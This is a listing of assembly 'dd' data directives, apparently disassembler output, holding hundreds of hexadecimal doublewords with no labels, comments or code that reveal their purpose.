		dd 848416Ah, 14815028h,	7E5EF929h, 3324EE0Ah, 39BCFB12h
		dd 452ED0D0h, 0A3C1C7DFh, 1892680Ah, 0D1D054A9h, 9622CC09h
		dd 0E2887C10h, 5805E7A6h, 0EEB50BBFh, 17BF7154h, 2BB3DD06h
		dd 0C8D15725h, 0E467D64Bh, 38E9713Ch, 79D6132Ah, 0A40648D9h
		dd 0F0881340h, 4B929087h, 7AFFF6D1h, 1037620h, 25EB815Bh
		dd 2B01483Ah, 1F08ADB4h, 80468824h, 0F05692F3h,	0E0ECE96Bh
		dd 0B3809992h, 9A010F62h, 354BBB40h, 19302501h,	7F52176Dh
		dd 4A521A3Ah, 12040809h, 0AEFED470h, 7754079Bh,	68A440F7h
		dd 0E92A3D2Fh, 14AF8D52h, 0E9C2667Bh, 2809688Ah, 80582EC7h
		dd 0F91C38EAh, 0ECCB135Bh, 895A3FCEh, 703FE9C3h, 4ABE01DDh
		dd 681C832Ah, 9B5FDA72h, 0B36ED082h, 4BE91913h,	60C2C1EBh
		dd 68EBD78Dh, 4F344FAFh, 30A731A8h, 3BD8E9E2h, 4106EB3h
		dd 0FB6DEA92h, 0D1F4982Fh, 2A3E927h, 0F96B6850h, 4ABF9E33h
		dd 7DBFF67h, 722BA7EFh,	2DC05302h, 6F4A5F4Eh, 5115874Dh
		dd 0CADAB1AFh, 0BAB00F54h, 0D67F6F0Fh, 0C8FF5C79h, 0E029CBEBh
		dd 1867C7FBh, 9E13E162h, 88254782h, 0A8DE13Ah, 332F8878h
		dd 91A87A51h, 1FC96FF3h, 5335A283h, 44053411h, 38E70609h
		dd 5FC022FFh, 80E1095Dh, 0C8310E01h, 73229550h,	9CF7470Bh
		dd 3B9B4FBh, 14636C9Ch,	0D95D9334h, 0EE701C0h, 21584C4Eh
		dd 0EA6F3204h, 0CEC836Eh, 400DF8B8h, 0CAB288F8h, 77570AA0h
		dd 71217C26h, 462FCA09h, 0EB7D2D2Dh, 0E4ABB471h, 20690549h
		dd 844F81F2h, 0F17DF9C7h, 0B62FFE31h, 0DC2D5Bh,	9AF68024h
		dd 5F95B088h, 28CE079Ch, 0C0327FE8h, 8038B156h,	0BDA134FAh
		dd 22F3DB05h, 3007E1B1h, 0A49F4648h, 98F338FDh,	8ED7FC4Ah
		dd 0E05E13BEh, 75A3C289h, 40D21CB3h, 681989F0h,	5C2939D3h
		dd 4C1567Fh, 9D5A58h, 0ED80C5FEh, 5F47F444h, 22C8A4A6h
		dd 123C6812h, 0DFE0501h, 0C810597h, 4D193B60h, 7643EE01h
		dd 0E6E2E14Eh, 29E5518Fh, 0A17BE8BDh, 8A3B11F4h, 43B34EADh
		dd 0C009E913h, 0CB015AB5h, 902E7FA0h, 0A8CB7E82h, 81838A95h
		dd 0E3A6287Ah, 0B54A183Ch
		dd 7144204Eh, 7027191Dh, 3F01FDD2h, 297B5180h, 1D561330h
		dd 812B4B40h, 0E188A7F2h, 30D5F524h, 6DD8E053h,	9F6D68A1h
		dd 7B70D633h, 1057215Ch, 0DB41BE50h, 0F0B45342h, 4E8962C8h
		dd 8079C2B8h, 41EF6801h, 333662DFh, 97A90550h, 0CE4026EAh
		dd 0CB3E9B64h, 1C739897h, 1285C3E9h, 32FBA2h, 0B55A944Bh
		dd 0DE5B2961h, 0D44EFE6h, 46E917D6h, 1987E427h,	0CA2BD541h
		dd 79357EE2h, 66B9A88Bh, 0B024E7h, 0CEDE4968h, 5E0CB881h
		dd 90C31682h, 744A6F38h, 0C1112760h, 0B770064Fh, 2D59EB00h
		dd 722E4ADCh, 6B2AAD7Dh, 6C9D6186h, 0E3565A9Fh,	46B15F05h
		dd 8D5FB42Ch, 54E22F56h, 4E8A7810h, 48822587h, 98C9DCB1h
		dd 95681D6Ah, 9F83385Dh, 0E3111118h, 4AAFF057h,	139CCE0Ch
		dd 0A5A8F001h, 0F60205C4h, 53A24AECh, 50429C10h, 370BB03Fh
		dd 854A748Ch, 0B739B7E9h, 2DE90608h, 58D1FEBBh,	75C9980h
		dd 9E3810Ch, 116C6128h,	8D34B702h, 0AC853105h, 7FEE207h
		dd 75830B34h, 3326D091h, 50FA7E01h, 0B65F08EAh,	0E8876695h
		dd 0FA2BE92Fh, 0B6521C8Fh, 0D3F01EADh, 0DE3522BCh, 0F34837E2h
		dd 38B8DDF7h, 0C5BF4E12h, 8DF5BB0Ah, 0E98951C1h, 7CEEC2CAh
		dd 0E1B3939Dh, 5B5CFCB6h, 0B45414FEh, 6700A3C9h, 815A461Ah
		dd 42E8ECAh, 69E937E3h,	0A161EAD3h, 0E132F921h,	223FB641h
		dd 9F715B28h, 0D1D80142h, 0E99DB03Ah, 93B53337h, 1DE7C1C9h
		dd 2DD85479h, 184A9068h, 36D7D231h, 86C50105h, 20CCEB69h
		dd 5280291Ah, 0CDBB50B2h, 69459F43h, 13A9CB13h,	279A533Bh
		dd 2DFA711h, 0F35AD696h, 20E904A5h, 815BACE6h, 0D5715D6h
		dd 672AE640h, 4C0F72F7h, 180F65DAh, 0ED540B54h,	30135902h
		dd 844221B5h, 81B109DDh, 2B326239h, 262570D4h, 100C06A1h
		dd 519958D4h, 0CC132B4Eh, 0CC4F30F6h, 349001BFh, 179433B7h
		dd 89DF40EEh, 0A5C7BD82h, 40C4CAE0h, 9CA60697h,	6754A571h
		dd 39B80192h, 3480A10h,	0BAA96805h, 0F293D10Fh,	81208D35h
		dd 4870B0FBh, 0E0208E1Bh, 24CB5395h, 6358C9ABh,	6836A195h
		dd 5A2B7BD8h, 7DF8CBA5h, 0E1354B97h, 0CF2F1757h, 3B4D7F72h
		dd 0E8F72DC5h, 0D48843C6h, 0AEB53A48h, 0B720054Eh, 57E05CACh
		dd 3B016850h, 5862822Bh, 0E7C8CE05h, 0E38949F3h, 2F01CF04h
		dd 0ED94C1E8h, 0F3E707A0h, 0EAD0EE74h, 4A376866h, 12D4B751h
		dd 63AB87F7h, 133CEE71h, 0B30460ACh, 0BA22B551h, 83115D4Fh
		dd 5D4E777Eh, 0FC4AF4FBh, 0DA01E06Ah, 3E6E2DE9h, 0BC6398F1h
		dd 64680F9Ch, 0B20D0288h, 0A5F12F79h, 0A1D95140h, 897B25CCh
		dd 3D517EC0h, 5D234CBDh, 0BB146111h, 95162C01h,	0B8A330A4h
		dd 0E45B630Fh, 0D0BD8ECh, 52804F7Eh, 8978DEE6h,	0CE0F0A76h
		dd 0F214792Ch, 1F7659FCh, 4075154Ch, 1045ECF6h,	314DE99Eh
		dd 0FB680BC4h, 0AEF2304Eh, 76561626h, 0D79BC229h, 0B0035E2h
		dd 684FB951h, 612F773Fh, 0F8315A22h, 0D602B542h, 397D52C0h
		dd 0A049A647h, 0B800C83Ch, 3B8E4708h, 524DE948h, 35E44E92h
		dd 28FD40DDh, 0C02CF81Ch, 4EEDA693h, 0D007E985h, 7579BBF2h
		dd 817DD700h, 6B5D56F3h, 6F009D32h, 40DFBF57h, 2D423B58h
		dd 5FA8832Dh, 7DCDBA56h, 7B193031h, 2EAF9D85h, 5B925030h
		dd 274D7990h, 2DAD00D7h, 35EF3EFEh, 5C82B501h, 66072325h
		dd 2D31E897h, 0D6218BAh, 62E6F716h, 0E0650277h,	0A1535B12h
		dd 0AE64B72Dh, 0AB0D5347h, 0BFFE5978h, 0B77D174Fh, 0D8E916F6h
		dd 8E3B93B1h, 0F6966A26h, 0C733E984h, 2525A9EDh, 7C8A18E0h
		dd 883402FCh, 44130844h, 0AEA43FECh, 0E917DACAh, 60C1A13Ah
		dd 0B84F6DCCh, 0A9A14435h, 306C542h, 9DBAC309h,	33254476h
		dd 2EA3E165h, 5348A03Dh, 84D9235h, 818058AFh, 2911ABEBh
		dd 0F5E901Ch, 66B357C5h, 26D2E980h, 410B0D24h, 661B8368h
		dd 1E100A50h, 3996307Ah, 0C8316840h, 378F7B1Fh,	0FFF76601h
		dd 7C97E29Fh, 0B00B4765h, 721EFE85h, 64E7C564h,	85905BE2h
		dd 0D754D00Fh, 0A5EF8613h, 0C38EEA18h, 0B60EB145h, 96CE30D1h
		dd 0ABA9594Bh, 7A9EE87h, 59C657DEh, 0C7551C12h,	96774926h
		dd 25589D15h, 0B6C341E7h, 165303DFh, 0FC70ACF0h, 0BED18AE8h
		dd 2C394B1h, 0FEAE616Eh, 70B015D4h, 5CCC406Ch, 94A08AACh
		dd 819AE453h, 15B59609h, 9DF270D9h, 0C60EF06Ah,	54A8255Ah
		dd 55540EEAh, 71BD0927h, 6A4CECC6h, 63EF098h, 0E90A3231h
		dd 0B01B7B22h, 0D1DC28F7h, 0FB3C0846h, 0C46858E0h, 0B9E5B53h
		dd 0C8423CE9h, 0B7E2ED80h, 0C212F565h, 10A4EEFh, 0B729E9CEh
		dd 101308DAh, 10BA5C6Eh, 0EF09CD11h, 8E5C0537h,	0E05825A8h
		dd 0C2B28C57h, 78E3702Ch, 0C4DBE9D8h, 0B5A007F8h, 64CE53FDh
		dd 0FD5BAC28h, 0FBF2DE9h, 0E5933071h, 7F0990B0h, 6B9249EBh
		dd 94D5B05Fh, 0B6ED3144h, 7A688C28h, 0D64BE917h, 0CC5F1A0Eh
		dd 0BF807F0Bh, 0EC6D70E9h, 0E7DEA765h, 0DF856712h, 89068D81h
		dd 5F806800h, 0C3BEA5A6h, 41BDBA7h, 0AEAF0F66h,	84DD33C9h
		dd 0D791F104h, 1E06063Bh, 0C342CDCBh, 5F2FE901h, 5B75498Ah
		dd 300FB1F4h, 61905428h, 0EB68FB41h, 0A3302751h, 0F3321671h
		dd 8490075Fh, 2906D113h, 872C7EF0h, 2C63B65Bh, 841D138Bh
		dd 7E14EC2Ah, 939E34Dh,	9A378868h, 72365E26h, 2D17A9F1h
		dd 4E5A15B0h, 1223BC5Bh, 5FFC0845h, 0B89C83A5h,	2E0A2DD0h
		dd 6356E92Ch, 0B41B348Ah, 5B269310h, 0C5DB4BE4h, 6238432Ch
		dd 206A2C7h, 0EA5DF9F6h, 3DEA8289h, 0F8675738h,	0D3E42FB9h
		dd 848A09E2h, 0F0BA986Bh, 7327FF54h, 0C5D9A421h, 47C4805Eh
		dd 42748C31h, 0C309E7FEh, 8478ED61h, 8304F7E0h,	7AAFA5EFh
		dd 0B15806C8h, 2DC71D20h, 8306DB24h, 699912ABh,	0E4E5E56Ch
		dd 95A0EDD1h, 0F00232F5h, 2EC92D61h, 0AD76603Bh, 0D87B2768h
		dd 0C0BD2C58h, 0F2CC219h, 5DEF09C8h, 0D302F72Fh, 995F3C1Ch
		dd 76B1458h, 24FC8801h,	4D9A82E2h, 594CF578h, 0DAC58483h
		dd 5181AA10h, 514F7068h, 68F2B9BBh, 0A2E9A50Dh,	4A56A450h
		dd 214C866h, 0E339E1F4h, 0D00389C0h, 0A0B904E9h, 280CEDB8h
		dd 680658C3h, 66112525h, 0F60705E7h, 93BBE9D9h,	55B8BF2Fh
		dd 0B9A00D5Fh, 373218F3h, 0B9F55008h, 132435EAh, 9032F866h
		dd 4D9440E5h, 53DDF700h, 0EA2A27BBh, 4E80B545h,	1F1EE943h
		dd 0C4F9169Fh, 1D03D850h, 291A19AFh, 0A970D968h, 0EE2183EEh
		dd 952642E0h, 2BA13868h, 80730C27h, 0EE3C9A5h, 496C38EFh
		dd 0F9F104F8h, 0A1ECFFDEh, 0F5616E42h, 90072248h, 0CC8FE44h
		dd 0FA76627Fh, 0D724C005h, 994E63E9h, 0D936AB68h, 1DD8A799h
		dd 0E66CD00Ch, 7AC4B679h, 0FE10637Eh, 20C21703h, 65F6FA42h
		dd 1CBCEA58h, 0E765914Ah, 92F302C0h, 24E06C9Dh,	520496E8h
		dd 977B08C4h, 0DCF11DC0h, 2701305Eh, 21CDC829h,	0E0F80C34h
		dd 7464DD04h, 0ED219563h, 187D18FCh, 6CEC29Dh, 297EF954h
		dd 880ACF2h, 7EEC15Eh, 68E14095h, 518BBD59h, 0CA45E7D1h
		dd 712FB641h, 0E02E129Ah, 3361C6E7h, 0B7BCE911h, 5F6F496Fh
		dd 0E4CFE7FEh, 19B9CEAAh, 86279905h, 6BB80120h,	6BDF79D8h
		dd 0DA299304h, 76D73DAEh, 8BEA6B84h, 0C0165959h, 2EAA5BB2h
		dd 9B6BBD75h, 12D5D60Ah, 35ECF017h, 0E42C887Fh,	0BA157277h
		dd 36EB02BEh, 7C66BE94h, 815327ACh, 58FAE9C2h, 0CA578E19h
		dd 0A7C75FC7h, 0E9865F47h, 0FE7CAA6Bh, 535B0916h, 0BD80CEB3h
		dd 0D5F613B5h, 92C58026h
		dd 25854808h, 720255F8h, 0F7413223h, 78A0DFD1h,	602F50F1h
		dd 20F28458h, 0E2D04DAh, 0EB378506h, 8283F23Ch,	0EEC49A7Dh
		dd 8CE9240Ch, 0FD018B0Bh, 0C3DC6089h, 74A55F92h, 8BA5337Ch
		dd 515A0257h, 50E1E950h, 88664E0Ah, 805A18BFh, 34EA6924h
		dd 2182FA68h, 44C4C09h,	0ED8038B5h, 0A287FF6Ch,	965E0555h
		dd 39E92684h, 0BEE9A0h,	53B74028h, 5BE0E681h, 0C11A1C04h
		dd 5E8007EEh, 2D36203Dh, 29613116h, 5D137CFDh, 0D9688294h
		dd 6398D575h, 58B64FDh,	63767DAFh, 3B44FF4Ah, 500214Ch
		dd 555D4B72h, 0E9840793h, 5A0F2211h, 0B004F90Fh, 8A63BFB6h
		dd 4199158h, 6C7F8811h,	86887F0h, 0AEA6495Ah, 8A3E0A03h
		dd 49C1B572h, 3713270Ch, 3CD550ECh, 8A79752h, 70899537h
		dd 0E939126Dh, 9A13EE8Bh, 496B1B9h, 14BF9155h, 18950733h
		dd 816F411Bh, 23A3876Dh, 0B071E6Bh, 99F41570h, 2089B69Dh
		dd 8CB60F0h, 3FEF8905h,	8B506D94h, 0A4CC10BDh, 6F5D680Ah
		dd 0BAB8804Fh, 0C10E601Ch, 0D664C195h, 1E830AC2h, 0B15DCFEFh
		dd 5F294366h, 3B17F17Dh, 55C27671h, 0B396E854h,	0D9280B2Ah
		dd 475E5B66h, 0CA885261h, 9D5AD4C8h, 4EC80B8Ch,	6C91E862h
		dd 0B8440F1Ah, 1731A318h, 83319C21h, 0F848CFBh,	0C24707B8h
		dd 0E48BC221h, 18E12204h, 3D0615B4h, 29A76FDFh,	64641861h
		dd 1F4BCBB9h, 4041A2CCh, 0B279520Fh, 5E2801Ch, 511AEAC1h
		dd 1C7062B1h, 5EDDB007h, 7D2DA7FAh, 0A0159D2Fh,	181FB1A2h
		dd 15999D0Fh, 3794ECB9h, 0CB313D19h, 0D032934Ah, 63152806h
		dd 0D00E3C71h, 0C0688D56h, 3712C9F3h, 38C6BC76h, 2422D118h
		dd 0E21842BDh, 0A30E4334h, 0CFE52E08h, 0D61B1402h, 418F681h
		dd 1EB03B1Dh, 1D839841h, 46862F21h, 0C001EE83h,	5BB9B309h
		dd 596788Dh, 6F35D205h,	4143BC37h, 16A83207h, 88D9A5C1h
		dd 947B6E31h, 0F5C2A1EFh, 3D8204C7h, 25477CA3h,	0FF9A1CD0h
		dd 850BB8F8h, 0F6038B48h, 0E422D69h, 0ED2BE05Dh, 0A1CD02FBh
		dd 0E399E9BCh, 3CF60A49h, 99D0BAh, 4FDD4B3Fh, 1D2B01BAh
		dd 0F4E942FCh, 0AFF6E46Fh, 0EA64E25Eh, 41DE5FE0h, 0C561EEE5h
		dd 0EF5C2A3h, 295EB0F1h, 91CA6C6h, 0B5B9C708h, 0D3A7E21Eh
		dd 2D1512AAh, 0BA287AC5h, 0B3599D3h, 52947D53h,	44D6012Bh
		dd 0E02FA2A5h, 0C28AD6A6h, 34F8F868h, 40AFCA1h,	4F6F9301h
		dd 0B02B2399h, 50CEB13h, 71AAA8E9h, 0FF275C7h, 0FE89F3F7h
		dd 0C99372AEh, 86A53AA2h, 0D768806Eh, 77020AC1h, 4B3E992Dh
		dd 8096E216h, 11475F34h, 0E684A046h, 317D3B03h,	4E83E103h
		dd 3E053005h, 19B90B68h, 0D8C9C2h, 0B3CDC680h, 0F3300313h
		dd 0E23F5804h, 39EF0A8h, 0EEDEDF6Fh, 74EADCEAh,	0C05EB0D5h
		dd 606681F4h, 35E91E18h, 628420CEh, 80C6FE00h, 0E6C0D8CEh
		dd 79EEE607h, 0F8F60106h, 47E9F388h, 80E42A12h,	0C0C5260Ch
		dd 69B03878h, 5366080Ah, 0E9E0FDA0h, 50F67952h,	2813112Dh
		dd 5DD2605Fh, 85A9DE52h, 0EB125568h, 0DB041177h, 51F0C4A9h
		dd 0FEBCB5E9h, 1FED6804h, 41417DD8h, 7895207Ch,	34140B9Fh
		dd 98683EDBh, 0FAD24158h, 40EE1B28h, 8B7B592Dh,	6CCB5197h
		dd 8080A5B4h, 0FE4B39CAh, 40940AE4h, 0D78855C2h, 2F047F5Ah
		dd 260B2CE9h, 0FE2944F1h, 49F874A5h, 5E25A5DCh,	51420E92h
		dd 0F0E94E22h, 7F835A68h, 0F132070h, 0F8827384h, 0C28B55h
		dd 74E7104Fh, 0D7302CE9h, 3203498Ch, 0C9B07EB3h, 2F5B3CB5h
		dd 0E91A61B8h, 48C24AACh, 4425F0D1h, 9AE97FE6h,	455B97F5h
		dd 496D80EBh, 4B5B0965h, 4B51BD21h, 0E9C3FBB3h,	0A03FEEEDh
		dd 9B680931h, 45EF4633h, 5370402Ch, 2168364h, 6804F901h
		dd 5849C26Fh, 80594984h, 0B450A13Fh, 0F0F6452Fh, 0EC954B4Ah
		dd 54B3D0EAh, 0B1A24A8Eh, 31246077h, 0F55A5165h, 21136FB8h
		dd 93A809D0h, 1F9CDFEEh, 68509BAEh, 8B2E5A0Ch, 87BE6324h
		dd 0AF028346h, 24BADFF4h, 93DDBBE7h, 0F9F6983Ah, 74431D6Ch
		dd 280C17CBh, 5DE01276h, 5BDAC982h, 60D93A75h, 37E9AFBFh
		dd 61C17EF6h, 2026057Ch, 8C09F17Dh, 88F48C6h, 41ADEC6Dh
		dd 0CE7E52A7h, 66254A2Dh, 0B704A7A8h, 810BA35Fh, 57259BAFh
		dd 1601638Ch, 685A0C0Eh, 89FDF370h, 8C77FDA4h, 9CF68ADEh
		dd 0F87CC246h, 26EDC09h, 4FFC6856h, 9B95F346h, 33E9F96Ah
		dd 3514002Bh, 40802D85h, 516B6812h, 0BD952865h,	0FB388C05h
		dd 8CE9CD9Dh, 4599166Ah, 0CC879F8Ah, 0DA4A169Fh, 7AB07688h
		dd 916B5E77h, 0C7736858h, 39EB4724h, 1C5F0987h,	0CBD16585h
		dd 67E19B8h, 4D8F74Dh, 81475D9Eh, 0A46175A0h, 3A639DE6h
		dd 604C742Dh, 97CBFE68h, 0E1E33B40h, 0B777E49Fh, 28B3D740h
		dd 5B5AFE76h, 0E1DDB3A1h, 0E96D282Bh, 7DEE7549h, 5F5BCE2Ch
		dd 5C568427h, 290871ABh, 69F22AEAh, 514914C8h, 798C0962h
		dd 3888BA7Fh, 4B5BDDEFh, 4FD6F655h, 0BC4B698Fh,	0F42BB9FAh
		dd 66B64FB3h, 0B277FF0Fh, 0C3C511F2h, 0FE8EAA06h, 69A2A85Ah
		dd 0C59856BAh, 0A427A8FDh, 2942DBC0h, 600D5EF0h, 133173DFh
		dd 0CF811B0Fh, 5E784506h, 0F7C7C082h, 5292C19h,	78F55E81h
		dd 533D7326h, 14833D1Ah, 46938057h, 0A07AD362h,	62BA5A8h
		dd 11E92533h, 52EC8B0Dh, 6149D75Eh, 745A621Eh, 176850F8h
		dd 0C0C12248h, 5B58B850h, 250800EEh, 4D8E39FFh,	2785E35h
		dd 0E5054901h, 89CA7C56h, 0A942ED31h, 63EA55A4h, 70F7D119h
		dd 4255784Fh, 684FE52Eh, 57C269D7h, 13F5F832h, 0F01B8600h
		dd 58D6ACCAh, 0DDB1B955h, 4CA7228h, 23250D9Eh, 0AC0578F2h
		dd 87731207h, 0CD0C118Ch, 1E34029h, 0A1B8F148h,	4F0FCF07h
		dd 0E9C1782Bh, 0B62E21BCh, 1566CD02h, 8D80D101h, 0C8305A00h
		dd 90286695h, 7C2027DEh, 0A6BD4DD3h, 62ACC793h,	55151FC2h
		dd 0D14366A2h, 4A06BB00h, 0A00E5BEDh, 0BA055221h, 319C762Eh
		dd 3C114487h, 5E3B4CEEh, 0A2F3D292h, 802E6027h,	97565C0Ah
		dd 0E5D1D402h, 0C5F4207Fh, 4E3F5802h, 21EEC09Ah, 12C4DCFh
		dd 950329E9h, 0B964A60Dh, 0A0533B9h, 808C1A54h,	4022EE81h
		dd 6816B635h, 63605C48h, 605E10AFh, 15FE806Fh, 0E9121A81h
		dd 9DEC29A7h, 717C318Bh, 3D108F0Ch, 0EC189DD8h,	8701BE56h
		dd 0E97D966Fh, 0D8BADC91h, 0A776D99h, 35127E54h, 0B9A02CB9h
		dd 0AA034D27h, 0E9C14935h, 485D9205h, 7F001A7h,	3D2E962Dh
		dd 5049E56Dh, 885FE1B8h, 8B544621h, 4A4842EDh, 9D22209Eh
		dd 0E74C5DD0h, 35C03AFBh, 16810605h, 0B66A1CA5h, 88C94E6Fh
		dd 0AD009531h, 48776579h, 6C007D40h, 4D1DB40Eh,	297F7E9h
		dd 7F56FD0Ch, 128010E5h, 0E97F341Ch, 0F52F64C2h, 9A49BFEBh
		dd 0C3BD605Ah, 45B80E6h, 2DA8F94Eh, 0FF0B074h, 42C180BEh
		dd 0C8282683h, 0E85945E7h, 0B6D405BCh, 0AC8130FAh, 4A008E75h
		dd 0BE4CE281h, 29A05E64h, 0C1568AEh, 0BF861298h, 26683A28h
		dd 0C2291CECh, 1E773F0Ah, 9F13B663h, 2505E04Dh,	664933AEh
		dd 473C1CFAh, 0BBF88C43h, 3DA24C89h, 8A61D988h,	0F2A214E3h
		dd 35766117h, 0C30AA392h, 4A3490E9h, 4CA8E813h,	8F52276Ch
		dd 473EEC37h, 0F084A15Ch, 21C63101h, 4C56687Dh,	0D8502D37h
		dd 99101382h, 0B1940D06h, 933C610Dh, 74FEDFAEh,	0C81C94A1h
		dd 20425D44h, 19C82825h, 68125F54h, 0D5A80594h,	0C6552FC1h
		dd 724C301Eh, 0B6201441h, 0D9F35BABh, 3EF7A67Bh, 793A6801h
		dd 4D3F412Eh, 3E136DDEh
		dd 4BE249A4h, 0C1638C83h, 0DE10756Bh, 4E23C66Bh, 76B4524Eh
		dd 87F04AE9h, 32CEB014h, 0BF0725FDh, 1FA9D9DDh,	93420EF5h
		dd 8007E2C1h, 269FE4C0h, 0B013D61Ah, 94418218h,	0BA0A2080h
		dd 0D189FB0Fh, 0CE626290h, 0D29B129Eh, 582C0B2Fh, 0F7D06FD5h
		dd 8D1CF105h, 0FFBEEA8h, 4DBF768h, 2B5370EFh, 0F5EC4473h
		dd 7B0EB039h, 21E9292Eh, 0DBB2415Ah, 5C95322Eh,	21C9B8FFh
		dd 0CB6CBFC1h, 92D0662Dh, 12EE5CE9h, 11975293h,	0C841A1F5h
		dd 948FB32Ah, 0E955061Eh, 0A32B806Bh, 7041C225h, 0C32D0038h
		dd 0C1295F6Fh, 487905E8h, 6B209F09h, 75027572h,	237CCB31h
		dd 160D5B47h, 9F9D4BE4h, 0FE2680EFh, 68A6F21Ch,	0CC7425A7h
		dd 0BC4EFEBCh, 0B450808Dh, 7AE4C0E7h, 0BE699706h, 0C961B73Bh
		dd 5CBD1B83h, 0CCD8AA4Bh, 8BC0E1D7h, 0A16A75EFh, 3502B752h
		dd 0F0E41F77h, 0E44B2EEEh, 0EB0237CAh, 2B1A4DAEh, 0C3146FF4h
		dd 785E2708h, 90095E93h, 180AED11h, 6832252Fh, 9FBBDD6Ch
		dd 53031967h, 8AE921B7h, 1BDA0A1Ah, 0B410DEA6h,	584CD817h
		dd 9B3D4B02h, 0A9C9891Ch, 583039B5h, 0C5502726h, 0BF3C2C95h
		dd 1B48EE48h, 5A7C7D20h, 9862D067h, 0B4044C0Ch,	0F6180482h
		dd 80BBC3D2h, 2C03EB89h, 742769CAh, 53665858h, 2D1D6818h
		dd 0B1743675h, 2A7BEF3h, 2D79D274h, 6C9F23Ah, 59D68E8h
		dd 0AF232045h, 0F8C32930h, 0B3957CFh, 503E686Dh, 5D053C30h
		dd 0E975CB1Eh, 0FE40CE52h, 7CC743CFh, 1F229081h, 0FD25FA15h
		dd 0A27929F7h, 0A176C9ECh, 4DEB5245h, 1EF5423h,	19AECDEh
		dd 72E86B68h, 335E5C1Fh, 138F502Ch, 0B543EA39h,	9E1B1C30h
		dd 0FC580B0Ch, 89D65E7Ah, 4A16E781h, 0C8FF0EE5h, 0B0706EE0h
		dd 92043198h, 4930965Dh, 0C125A2h, 0F18003DAh, 0C928D273h
		dd 0C140E29Bh, 205718B8h, 8739FC09h, 72885380h,	5BDD07C3h
		dd 0E2E83058h, 35FC232Fh, 62305D79h, 0E74612E6h, 0EE5B838h
		dd 0BA03C952h, 0A8E7619Ah, 0C6048732h, 141F5CCBh, 1AEC3056h
		dd 240368BAh, 11A37AE0h, 0F8B15F22h, 16BCD56Bh,	58C8BD96h
		dd 7E5474ACh, 0B09B1D6h, 86314BADh, 4E764EAEh, 4C19A7B7h
		dd 36ED0F69h, 0EBC160EAh, 678EE908h, 81CF9B9Ch,	201D556Fh
		dd 4D13D2ECh, 3C874EDBh, 0B9042A3Fh, 0DF7B9E04h, 7939A981h
		dd 0F35B8404h, 0EAF44B81h, 5EE659DFh, 48CC6882h, 0C08F6CD5h
		dd 0AD05F99Eh, 0C90C8169h, 76754F17h, 1A70D4E1h, 0BAD4FF1Ch
		dd 0BA703CAFh, 0BD2C79Fh, 5D5E78B4h, 22A15664h,	0F59EDD2Ah
		dd 3AED6C59h, 0E5280CBFh, 0E7D1DF6Ah, 96070A98h, 0AE041D20h
		dd 59CF313Bh, 710A26C0h, 2D01038Dh, 85AC5E1Ch, 5E2B9B5h
		dd 0ABD2AED6h, 16CDD910h, 3198ECD1h, 0BF8C6564h, 0B80DC0C7h
		dd 0D700F71Dh, 61A5BD55h, 4AE97E08h, 0BE520173h, 92053947h
		dd 7F17F5D0h, 5484AFACh, 0C4ACE35Dh, 849492E9h,	8C96ABF2h
		dd 0C594214Dh, 0C898E986h, 0A9ED0633h, 706FFB7Fh, 3B555D3Ah
		dd 4FEF3BC5h, 0F9211E29h, 83A08B2Ch, 499502C6h,	122AF075h
		dd 0E7CD90h, 2A0739A6h,	430D7504h, 0AB1C7Fh, 3CE4054Fh
		dd 35044F2Ch, 840AFBF9h, 0A32A81EAh, 6DB0000Fh,	4982BF30h
		dd 0AFC0BEE7h, 0F9E4CC88h, 74ACD794h, 3EAC0713h, 6163BEC0h
		dd 811859EFh, 0C103FFC6h, 0A3F0B5EEh, 47FFE0Bh,	3480555Fh
		dd 335DE52Eh, 0E9F1890Bh, 4608ABCBh, 5A43F66Ah,	0AD0A5330h
		dd 61FE7C19h, 1CBC83FCh, 5BB50501h, 38E949E4h, 98CC112Ah
		dd 8475E25Fh, 0E691F9E9h, 3730D701h, 0E1A5C5BEh, 0A489C008h
		dd 37760E11h, 1077A3FEh, 96B0B34Ah, 9A73160Fh, 609EB85Ch
		dd 2592C9D2h, 3A0B63C6h, 62976FD7h, 0E5DCA89h, 0E90A412Ah
		dd 622BC99Fh, 21DE2C9Bh, 0A3AD42h, 0CC089568h, 5E5E5652h
		dd 9CF1BB4h, 57FB2CECh,	4F4307h, 0E94B68D1h, 0BBD6882Dh
		dd 0AD47D993h, 79516BCh, 0F71FE408h, 0AC674D11h, 4250E51Ah
		dd 5009280h, 4AF701Fh, 3268553Fh, 0C396BC73h, 9F48411Bh
		dd 0A4D0E589h, 0B3CC16F2h, 0A58B9F1Ah, 95D3E688h, 968B8DC5h
		dd 68F7B0A9h, 2D764879h, 18F68AD6h, 2D3D2A7Eh, 0DC3EA0F8h
		dd 85F276Ch, 8A0207Ch, 0CDB9E916h, 959B14B2h, 0C0766BFAh
		dd 0D6CE0150h, 72630554h, 4DB7815Eh, 91EA04BBh,	3E0BEAFDh
		dd 4F7ECA8Eh, 0C141022Ch, 0C07D12E8h, 99302B2Bh, 72D1A5CCh
		dd 0BE820DB4h, 51F45CAAh, 0C0220811h, 0AAB652EFh, 459FF788h
		dd 26788862h, 1EF7510Dh, 0F079AC24h, 40370BA1h,	98E0D2E9h
		dd 302DF5B0h, 26AA5BC3h, 1DE909C9h, 0A0611475h,	25148CF2h
		dd 0BCF46446h, 0D7A8EE21h, 0E302240h, 86D7F6FEh, 51B45080h
		dd 0C47BEC80h, 0DC77CC7Ch, 80684ECh, 9EEE9E6h, 6E250534h
		dd 0B055601Dh, 506D0D0h, 7E276283h, 7D2D3B0Eh, 0A1123217h
		dd 54CC0006h, 314A13F0h, 0F2001BA8h, 78563D0Bh,	4AA1D121h
		dd 5ECE2CF1h, 0E9F449B2h, 0AAA2D66Ch, 3DEE6809h, 0E6253F4h
		dd 31FC0BE1h, 24204988h, 7E560117h, 80596633h, 7AC37568h
		dd 0F3C8894Fh, 0AE103169h, 0E8E25EE4h, 0B64F09D6h, 609328DCh
		dd 125A41B0h, 0B60A4A68h, 42D192D6h, 32A56E7Fh,	2B4DB6F3h
		dd 6BDAE06Ah, 36F96902h, 7BBDE9h, 283CEB80h, 0C5ECCEB8h
		dd 0DA6A4D7Eh, 783F4F1Dh, 54F88C25h, 28E360F4h,	7576336Eh
		dd 0FDEF324h, 0BD022216h, 402D292Eh, 9F9F42C5h,	9E291D6Ch
		dd 0C82D09FAh, 81F551F1h, 94A2859h, 334FB668h, 5A1DD2B2h
		dd 6D160041h, 0C1404470h, 20E907E0h, 360B8B19h,	5C20138h
		dd 17D4CE58h, 0FDF756ABh, 348B12ECh, 0E9B375ACh, 48728BF7h
		dd 0D2A623BFh, 0C614596Dh, 0BC685B81h, 0C4CB6C3Ah, 0F700A8B3h
